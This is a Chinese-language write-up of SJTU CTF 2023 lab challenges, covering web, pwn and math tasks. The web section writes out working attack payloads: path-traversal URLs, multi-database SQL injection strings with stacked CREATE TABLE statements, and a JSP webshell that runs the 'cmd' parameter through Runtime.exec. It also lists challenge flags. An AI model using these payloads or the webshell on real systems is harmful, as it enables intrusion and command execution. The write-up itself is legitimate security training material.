SJTU CTF 2023-WriteUp
WEB
flag gallery
考察点
网页源代码的信息获取和简单php代码的分析
攻击流程
-
首先查看主页的源代码,发现旗帜的地址都是在/getflag.php下,修改flag参数的值
-
考虑将flag参数的值修改成index.php,以查看其php源代码
http://34aeb43ce75d4f84b23d71b7671bf83c.penguin.0ops.sjtu.cn:18080/getflag.php?flag=../index.php
-
注意到,需要以admin身份登录,即可获得CTF flag
-
再将flag参数值修改为login.php,查看登录界面的源代码
http://34aeb43ce75d4f84b23d71b7671bf83c.penguin.0ops.sjtu.cn:18080/getflag.php?flag=../login.php
-
容易发现,只要用户名是admin,密码的md5值为
2ca3ea99d9cf2b4adbf3c3ea9df345cd
,就可以登录 -
随便找一个md5的解码器,得到密码sjtuctf,登录后即可看到CTF
Mimic SQL(PART 1)
考察点
本题的考察点是SQL注入防护的绕过,后台分别是MySQL、MariaDB、SQLite三个数据库,通过mimic_query函数将SQL语句分别在3个数据库里执行,只有返回结果相同才会正常显示,否则就认为是Hacker行为。
漏洞点
本题的漏洞点在于URL:/article?id=1,其中的id参数存在注入。
攻击过程
-
第一步:通过代码审计,确定id参数存在注入: 从initdb函数可以知道,FLAG1存在flag表的flag字段中。
-
第二步:通过order by N方法,确定查询字段数为3
/article?id=1%20order%20by%203
- 第三步:通过UNION,从flag表查询flag字段
/article?id=0+UNION+SELECT+1,flag,'3'+FROM+flag
EXP
EXP如下:
/article?id=0+UNION+SELECT+1,flag,'3'+FROM+flag
Mimic SQL(PART 2)
考察点
本题的考察点是SQL注入防护的绕过,后台分别是MySQL、MariaDB、SQLite三个数据库,通过mimic_query函数将SQL语句分别在3个数据库里执行,只有返回结果相同才会正常显示,否则就认为是Hacker行为。从initdb函数可以知道,FLAG2被分成3个部分,存在3个数据库的随机表和随机字段中。所以关键是考察如何让一个为了查询某库某表某个字段的SQL语句在其他两个库中执行时也能返回相同结果。
漏洞点
本题的漏洞点在于URL:/article?id=1,其中的id参数存在注入。
攻击过程
- 步骤1:注入点、字段数和显示位置的判断同PART 1
- 步骤2:利用
/*M! XXX语句 */
形式的注释,使用Burp在MariaDB中爆破表名。表名第一个字符的EXP如下:
GET /article?id=0+/*M!+UNION+SELECT+1,SUBSTRING(TABLE_NAME,1,1),'3'+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='ctf'+AND+TABLE_NAME+NOT+IN('flag','article')*/+UNION+SELECT+1,'§2§','3'
第一个字符为d
依次爆破2-8个字符,得到表名:d2db1ae3
- 步骤3:同样爆破获得字段名。第一个字符的EXP如下:
/article?id=0+/*M!+UNION+SELECT+1,SUBSTRING(COLUMN_NAME,1,1),'3'+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='d2db1ae3'+AND+COLUMN_NAME!='id'*/+UNION+SELECT+1,'§2§','3'
第一个字符为e
依次爆破2-8个字符,得到字段名:ee8e3321
- 步骤4:查询表d2db1ae3内的字段ee8e3321得到FLAG的Part 3。其中第一个字符的EXP如下:
/article?id=0+/*M!+UNION+SELECT+1,SUBSTRING(ee8e3321,1,1),'3'+FROM+d2db1ae3*/+UNION+SELECT+1,'§2§','3'
第一个字符为f
依次获得FLAG第3部分为fa16bf7cc1daa}
- 步骤5:获得MySQL内的表名,EXP如下:
GET /article?id=0+/*!+UNION+SELECT+1,SUBSTRING(TABLE_NAME,1,1),'3'+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='ctf'+AND+TABLE_NAME+NOT+IN('flag','article','d2db1ae3')*/+UNION+SELECT+1,'§2§','3'
得到表名:2b5dc37c
- 步骤6: 获得MySQL内的字段名,EXP如下:
/article?id=0+/*!+UNION+SELECT+1,SUBSTRING(COLUMN_NAME,1,1),'3'+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='2b5dc37c'+AND+COLUMN_NAME!='id'*/+UNION+SELECT+1,'§2§','3'
得到字段名:d4675590
- 步骤7:在MariaDB中创建表2b5dc37c
GET /article?id=0;/*M!CREATE+TABLE+`2b5dc37c`(`d4675590`+TEXT)*/
- 步骤8:查询表2b5dc37c内的字段d4675590得到FLAG的Part 2。其中第一个字符的EXP如下:
/article?id=0+/*!+UNION+SELECT+1,SUBSTRING(d4675590,1,1),'3'+FROM+2b5dc37c*/+UNION+SELECT+1,'§2§','3'
依次爆破得到 FLAG的第2部分:6f3a94ab6604
- 步骤8:在MySQL和MariaDB中创建sqlite_master表。
GET /article?id=0;/*!CREATE+TABLE+`sqlite_master`(`name`+TEXT,`type`+TEXT,`sql`+TEXT)*/
- 步骤9:从sqlite_master表查询SQLite内的flag表名
GET /article?id=0+UNION+SELECT+1,SUBSTRING(`name`,1,1),'3'+FROM+sqlite_master+WHERE+type%3d'table'+AND+name+NOT+IN+('sqlite_master','flag','article')+/*!UNION+SELECT+1,'§2§','3'*/
得到表名:dcd97c2d
- 步骤10:从sqlite_master的sql字段查询字段名,经过多次探测,字段名位于sql字段的51-58位置
GET /article?id=0+UNION+SELECT+1,SUBSTRING(`sql`,51,1),'3'+FROM+sqlite_master+WHERE+type%3d'table'+AND+name+NOT+IN+('sqlite_master','flag','article')+/*!UNION+SELECT+1,'§2§','3'*/
得到字段名:e1214293
- 步骤11:在MySQL和MariaDB中创建表dcd97c2d
GET /article?id=0;/*!CREATE+TABLE+`dcd97c2d`(`e1214293`+TEXT)*/
- 步骤12:查询FLAG的第一部分
GET /article?id=0+UNION+SELECT+1,SUBSTRING(`e1214293`,1,1),'3'+FROM+dcd97c2d+/*!UNION+SELECT+1,'§2§','3'*/
得到:0ops{c9045d8
- 步骤13:拼接得到FLAG:0ops{c9045d86f3a94ab6604fa16bf7cc1daa}
EXP
EXP汇总如下:
- 在MariaDB中爆破表名
GET /article?id=0+/*M!+UNION+SELECT+1,SUBSTRING(TABLE_NAME,1,1),'3'+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='ctf'+AND+TABLE_NAME+NOT+IN('flag','article')*/+UNION+SELECT+1,'§2§','3'
同样爆破获得字段名
/article?id=0+/*M!+UNION+SELECT+1,SUBSTRING(COLUMN_NAME,1,1),'3'+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='d2db1ae3'+AND+COLUMN_NAME!='id'*/+UNION+SELECT+1,'§2§','3'
查询表d2db1ae3内的字段ee8e3321得到FLAG的Part 3
/article?id=0+/*M!+UNION+SELECT+1,SUBSTRING(ee8e3321,1,1),'3'+FROM+d2db1ae3*/+UNION+SELECT+1,'§2§','3'
获得MySQL内的表名,EXP如下:
GET /article?id=0+/*!+UNION+SELECT+1,SUBSTRING(TABLE_NAME,1,1),'3'+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='ctf'+AND+TABLE_NAME+NOT+IN('flag','article','d2db1ae3')*/+UNION+SELECT+1,'§2§','3'
获得MySQL内的字段名,EXP如下:
/article?id=0+/*!+UNION+SELECT+1,SUBSTRING(COLUMN_NAME,1,1),'3'+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='2b5dc37c'+AND+COLUMN_NAME!='id'*/+UNION+SELECT+1,'§2§','3'
在MariaDB中创建表2b5dc37c
GET /article?id=0;/*M!CREATE+TABLE+`2b5dc37c`(`d4675590`+TEXT)*/
查询表2b5dc37c内的字段d4675590得到FLAG的Part 2
/article?id=0+/*!+UNION+SELECT+1,SUBSTRING(d4675590,1,1),'3'+FROM+2b5dc37c*/+UNION+SELECT+1,'§2§','3'
在MySQL和MariaDB中创建sqlite_master表。
GET /article?id=0;/*!CREATE+TABLE+`sqlite_master`(`name`+TEXT,`type`+TEXT,`sql`+TEXT)*/
- 步骤9:从sqlite_master表查询SQLite内的flag表名
GET /article?id=0+UNION+SELECT+1,SUBSTRING(`name`,1,1),'3'+FROM+sqlite_master+WHERE+type%3d'table'+AND+name+NOT+IN+('sqlite_master','flag','article')+/*!UNION+SELECT+1,'§2§','3'*/
从sqlite_master的sql字段查询字段名
GET /article?id=0+UNION+SELECT+1,SUBSTRING(`sql`,51,1),'3'+FROM+sqlite_master+WHERE+type%3d'table'+AND+name+NOT+IN+('sqlite_master','flag','article')+/*!UNION+SELECT+1,'§2§','3'*/
在MySQL和MariaDB中创建表dcd97c2d
GET /article?id=0;/*!CREATE+TABLE+`dcd97c2d`(`e1214293`+TEXT)*/
查询FLAG的第一部分
GET /article?id=0+UNION+SELECT+1,SUBSTRING(`e1214293`,1,1),'3'+FROM+dcd97c2d+/*!UNION+SELECT+1,'§2§','3'*/
baby php
漏洞点
PHP <=7.4.21版本的一个源码泄露漏洞
攻击过程
GET /flag.php HTTP/1.1
Host: penguin.Oops.sjtu.cn:60018
GET /xyz.xyz HTTP/1.1
如上编写request,关闭BurpSuite的Update Content Length,上传即可得到flag
ezjsp
考察点
考察java语言审计,以及Web上传和正则过滤。
漏洞点
根据下载的代码,可以通过POST方式上传并直接显示上传点。
攻击过程
- 第一步:查看Dockfile,知道根目录下的/readflag可以执行
- 第二步:查看index.jsp代码,知道可以POST上传 index.jsp代码如下:
<%
if ("POST".equalsIgnoreCase(request.getMethod())) {
String content = request.getReader().lines().collect(Collectors.joining(System.lineSeparator()));
if (content.matches(".*(\\.|\\[|\\]|\\\\u[0-9A-Fa-f]|<%@|<jsp:).*")) {
out.println("Hacker!");
return;
}
String path = "/upload/" + UUID.randomUUID().toString() + ".jsp";
byte[] bytes = content.getBytes(StandardCharsets.US_ASCII);
Files.write(Paths.get(application.getRealPath(path)), bytes);
out.println(path);
} else {
out.println("No available frontend for now. Sorry for inconvenience.");
}
%>
- 第三步:上传shell,EXP如下:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
<jsp:expression>
new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())).readLine()
</jsp:expression>
</jsp:root>
- 第四步:执行Shell:
GET /upload/d83a3bb1-4798-4183-87db-7becc6808359.jsp?cmd=/readflag
EXP
POST / HTTP/1.1
Host: 78b5b560111c43eeb13837bc170a20ae.penguin.0ops.sjtu.cn:18080
Content-Length: 323
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynwsHkpbBA05m9ADd
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
<jsp:expression>
new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())).readLine()
</jsp:expression>
</jsp:root>
PWN
简单的RPG1
考察点
C语言程序的理解和ASCII码的应用
攻击过程
观察chall.c
代码,很容易发现stage1里面的这段可疑代码:
while(1){
choice = getchar();
if((choice^(status*9)^0x86) == stage1key[status]){
status++;
if(status==sizeof(stage1key))break;
}
else status=0;
if(choice == '1' || choice == '2')break;
}
不能选1或2,而是要让choice^(status*9)^0x86) == stage1key[status]
于是编写一个简单的程序得到每个stagekey的元素对应的choice:
#include<stdio.h>
int a[]={157, 212, 213, 134, 249, 234, 171, 226, 140, 204, 135, 167, 241, 168, 188, 26, 77, 92, 63, 118, 118, 32, 27, 10, 60, 6, 14, 20};
int main()
{
int key=20;
int status=0;
int i;
char x;
for(status=0;status<28;status++)
for(i=0;i<128;i++)
if((i^(status*9)^0x86)==a[status])
{
printf("%d %d ",status,a[status]);
printf("%d\n",i);
}
return 0;
}
// esc [ A esc [ A esc [ B esc [ B esc [ D esc [ C esc [ D esc [ C b a b a
EXP
在做出选择时依次输入esc [ A esc [ A esc [ B esc [ B esc [ D esc [ C esc [ D esc [ C b a b a
简单的RPG2
考察点
考察C语言审计能力,以及整数的乘法导致溢出。int型占用空间4个字节,取值范围是-2147483648~2147483647。
漏洞点
输入大的整数,导致做乘法运算后结果溢出,变成一个较小的值。
攻击过程
- 第一步:获取圣剑 根据下面代码,知道必须获得圣剑,因此第一步先买圣剑
- 第二步:购买铁树枝干 铁树枝干是可以输入购买数量的,计算0xffffffff/50得到合适的输入值: 输入85899346,因为溢出通过检查
- 第三步:过关
EXP
购买圣剑1把 购买铁树枝干85899346个
MISC
baby equation
考察点
很经典的一道数学题。椭圆曲线与直线的位置关系。先找到与方程等价的椭圆曲线方程,之后在曲线上找到有理点,再用椭圆曲线的性质,通过切线/割线找到更多的有理点,每次找到新的有理点,就计算对应的变量值,直到三个变量均为正数为止。
攻击过程
使用mathmatica计算,由于比赛允许使用搜索引擎,借鉴了知乎@酱紫君的代码:
n=4
para={A,B}={4n^2+12n-3,32(n+3)};
sol=Solve[{Echo[y^2==x(x^2+A x+B),"Ec: "],y>0,x!=0},{x,y},Integers];
ji=DeleteCases[{x,y}/.sol,{x,ConditionalExpression[_,_]}]
iv=Interval[
{(3-12n-4n^2)/2-(2n+5)Sqrt[4n^2+4n-15]/2,-2(n+3)(n+Sqrt[n^2-4])},
{-2(n+3)(n-Sqrt[n^2-4]),-4(n+3)/(n+2)}
]//N
sp={-100,260}
ECplusN[p1_,p2_]:=Chop@N@EllipticExp[EllipticLog[p1,para]+EllipticLog[p2,para],para]
nl=NestWhileList[ECplusN[sp,#]&,sp,!IntervalMemberQ[iv,First@#]&]
ts=%//Length
ECplus[p1_,p2_]:=Block[
{A,B,k,x,y,x1,y1,x2,y2},
{A,B}=para;{x1,y1}=p1;{x2,y2}=p2;
{x,-y}/.If[p1==p2,
Solve[{
y^2==x(x^2+A x+B),
(y-y1)/(x-x1)==(3x1^2+2 A x1+B)/(2y1)
},{x,y}]//First,
Solve[{
y^2==x(x^2+A x+B),
(y-y1)/(x-x1)==(y1-y2)/(x1-x2),
x!=x1,x!=x2
},{x,y}]//First
]
]
eci=Rule@@@Transpose[{{x,y},Nest[ECplus[sp,#]&,sp,ts-1]}]
fii=Solve[{
a/(a+b+c)==(8n+24-x+y)/(2(4-x)(n+3)),
b/(a+b+c)==(8n+24-x-y)/(2(4-x)(n+3)),
c/(a+b+c)==(12+4 n+2 x+n x)/((x-4)(n+3))
}/.eci,{a,b,c},Integers];
finally=fii/.{ConditionalExpression[x_,_]->First@x}//First
c/(a+b)+b/(a+c)+a/(b+c)/.finally
修改n的值,算出有理点之后再修改sp点的坐标,依次计算可得不同k所对应的解。
EXP
得到的解如下
2:
3
1
1
————————————————
4:
154476802108746166441951315019919837485664325669565431700026634898253202035277999
36875131794129999827197811565225474825492979968971970996283137471637224634055579
4373612677928697257861252602371390152816537558161613618621437993378423467772036
————————————————
6:
20260869859883222379931520298326390700152988332214525711323500132179943287700005601210288797153868533207131302477269470450828233936557
2250324022012683866886426461942494811141200084921223218461967377588564477616220767789632257358521952443049813799712386367623925971447
1218343242702905855792264237868803223073090298310121297526752830558323845503910071851999217959704024280699759290559009162035102974023
————————————————
10:
269103113846520710198086599018316928810831097261381335767926880507079911347095440987749703663156874995907158014866846058485318408629957749519665987782327830143454337518378955846463785600977
4862378745380642626737318101484977637219057323564658907686653339599714454790559130946320953938197181210525554039710122136086190642013402927952831079021210585653078786813279351784906397934209
221855981602380704196804518854316541759883857932028285581812549404634844243737502744011549757448453135493556098964216532950604590733853450272184987603430882682754171300742698179931849310347
————————————————
12:
9771648423124723726177348367579036940996321519493182113688185913291912152167430962940286713704689291955030766917703582615167560632692208569350596318361971945750539077074921376878141735974825044184065325295542414690299404543957471585986271492883344336895444628417764598798059282135540264079530839334683089479387712689664348829803188436456581110658900633423526039703131197080466706425129542338489808063522607588342584200312382147588021744331992391832435570655076979943362024164159108464336717094994098309362464023676446199308737155163873551701208488828402974721390557367029987977855707022545910750122799634001172374761109175036019323234546383998982432217361050210984517599581577248801341849448303544088176264625811806142770294209982442408662519374761728070223714521821341117002331986498770555184073085027058095297336167677439607364510657437509486347967307803660171207058735567136463940112222314297317750700776624058908857471453427988612985064899673716630236456014245800912222319599696269373722466085725674157804399937147349826725426492477399825189629059858143754233366556058143229760327782450544023555022700607812759157576200327040510464661565706996737315846564795178593069240330781574428355212732623725876985598328229189126427627014915844367895005634186488060123351425224254658993594181034585580728472926584634345281045130880900933874051988840549119158099281094622771545146573280290125472471508524146960616613046094502775760354004277755376103461683156447272164405834240309654181339266066263159088013664792412947782580562302145769970189263032100245853943329981223091010635294626858575635181685165656502546698206083122664124915608202069269724379843842840589157695219270750118704026028654165401285548616906593019632882729540612247917655897119373938582993296569576361174642805599263009865424731023686421547614323517551093776435182182140089430393766501364362547924371223967349402455455441526984962551991999740939806598094829176294395288025415862487224690038784444479146323714873578973543339383804639812551447024169760867016277652364254017342569664821765700133711906605529500370028326735684760029880824589496327934929890451806466028722732111707352281105526352585578795270682734602251672860466286137618451728577222436372703708755203706276857915607877115578246058172188790243120058005406354006933249427269186026037719060025838643524816124535097800306551506659235785757708355416892809830706818987658005883960242994520660422766140515613930376253008301505691252247843497900812092131062228821968787255843774769294070526791658638255579065403517667805443531566516803268415382062088531458623037511041673490301151134361350520723131052983435925526212885827536368956540475248756348725668932765463359607076032536135984411047176832817954294834358117678876487728677844675188893304999714929142496108422125998795771469689592410179339895441001807800777244298595113076411858026767080234245436677391556512837521159681035996524381164562299217240816526864051747417996965408494564793876350006434149310494879345252225512207327377641046172449349234814800370542810062964918653675533999879633796275182294288725302482565574689774236243367061493493871378478841132541150327804822340923534374347417734327962641422485698737250906970866594251938717273245180046336357159717643987207108520200884860052166562771159345328326046425986193537383085182662821369601389344051970598825589841391881179369502441
355278342530640706599407170519248057086229224524520519157141107708508537777205114284836515916647281859247795539514644616851559754279314555875406812187972064036035557571299859907280810487149605334993350531002451299724364967645584709273394386591591195780391447196683330849598560271745701404034625131501993929419554266148290436679685445363131010836932629342154128643351678951282983749890989559890172019099261175094354121592456388228285392695032585171051639572467407610797751366649496928321845783437550911111047278383580607079737332894364303410021661677697214580427323420620970187098111338585040445789178378027622721085136875173221486668228434792389270646253382261057411216813326434321501013051997430441500004490156606094833372922100067917450173462555720881102457821630342749340867365008072441643478548721857292917452800697091436767776083635027373005756786010659444917124676112164411021940883874460477540417603487387574930026382803252605451761123854779624051422486933911811669680548762039750465949397184413613720601642705976126017892620552601501858263828583840887458987486197543156013041348847816031608699049912936308450819095510369701575578097250363368454461945148450576088433249713999167088458370351492130049783151127247370858531196993379176146118278989362781036431924069823925694605248692612491891011456236063305446307145213155963155713254947146969705707871047748827652962063454148762245165952045524839856938394353277318602286742502902467957014204949461972627441403014827123154496446151973383417479788921710173738381531711188367127686337683922337834803729129860547622394303860359090631322192199105383221995196638722101561512713080014557011603612235554087760232042126289412640004429367002342732510653670491385158696739998435013535332649487741680965013588417081164473304832663472222330032194673510586568514566505918964524054367862236706513657705601280209392824784214794388906944781256335282029618881491665550233021568492161644797572375050841378822048811169837099457416172794125347941123267556933505091898801954097367551330470039516528938002060368203771887848789933865049084996127893937024390453874088559156599250770154698773410485652163460604146736536998704744308747694562472589990594315082773213352567913224257883617970694009815571365310386133474806148114386493590025948707911857605911663465773207882473351193724108758290123955278061608587631862670149052118711701158527145181175190875795882098138836322507020482823700475885261298942438375141523097467136949344549146226783627312473680145737634678721649048185277680609630836890634565927029420985039606240188037856013124138575514784612402632326680678385133078122001191529488632864949389691396850211361741599166067293474086420940368406413602811300967477515893863371822747402011882565685406820752393426871334343726588669248706316761007252201944198166289444499842118193477939440518068080562630698421649307162223651191249634030063115515307507458592025473811290000412080019218175657190077848458901960552364736984977562980489155298839168694740209782414540433384032643432411675316990421342815443209738155863833108803588186058559389830125622362622871909735505714741871915567556115574951697169999420730845094742737430840794283524289288407229358051139188774198818399680388413331802255608133294263528032850298389448639132253320503425433048688168649080671114897526452528795785075258192344501895197396313877737618743144143311361
20035885316890023606830534495067252147691357652057772449634307305904187410990992558920956548259424273157355393196003732013539899362716100216100574234193461987992270496600195300035752479460516954902069442618504792465804770124967301970678978328799586707754521255514483172028191260188475400317446571436004845998985653096037624624322281748829779447176083968674969833631184023187122343557933419142060815193896987871898527455938239633288396733679352394480370944272017028820473119804801589995735129329783435030364346676954726243545810431065584725705747425285116415098270756170854793527738400748018356825870940359453012877584220232457239486868961160286561107075730870191541707907024801190678872428378869070743156118725466561031241711673504710114636631852382374234153002593815839905362438349777252361649553219532495089010852188819251924513393843140092077472310502164724666534953510429204661960760251076825195012089967164704751956545716713621200138891509373146662781427659132869096244223556723315169600948861332954354413695888139017122816338494980502776971525437417811441688700350703763215954037112632057856459110596088774179908693660103919027798842365141387313347532358053282282310316931481842456257180432996840651935591189065259608213860227670186727338535935419000104738195984938003074607151510868080842855420074387493775652849570582238533035000592730676469385254313682643506004770455623730437382781957476292884741268313376108166969374162736157947254538709529590451732215030394607575401311261495611074569827532998121985392068544149777898463913810868539866423391561166029673154931578514570213744634449182859448121221325492409874400969111705041715153435314453329592896445669394904690642194906508672813178927078506631317053598793270180912538514259578229993791104172792725314850021809824960706011811171135997354162296978832638498179879771698379520095937384178635037528330099466818183983444951307338720807542182935366038924920803039824818978210615772435040781173000522957795318935743355256682046477991218402526418808672933986788522397056643264167847014634860127505194733579174334258294520958784673856708467904118326279768028815946419189313676293061904510582604099208908846437914476479234000943244508656493406134426802932798305615095458701786048985034479492729357877345432656822502309506336155060754833509042934673647393543153071076853125875966535409760468353908956772073598404677550786987821584368329022155627837041395034568285609452470732829555582976579267394284928019500640977457130634550711478008433495429299640611555109171351069880574540503991840730805473241840138226375586949924647467718787261507459412537764703036454930376493490948212829487213980710738206430842478425877099783023977823272528573428967147461248519564018755183647327105058234798276539268716600710944282509505534186050000996976904596307571400703851012188753774844974808960378596634959429569386969879801494409815032125990390725960817685563429841025885365323217522340255134111238995153536146711806678993879340908664992009441435660169161976982012130533343179316942599654407053716666680671913105456952462060978938905812334117338345608406493320504708189703699696962739031333121998774598083769292025442530856763493460673394201872178090312059357744194235029914560026838488336959743500520432584396018821068625402593286299143852751101612713576613521611747957521749921921568265523624185276246164078350540463107124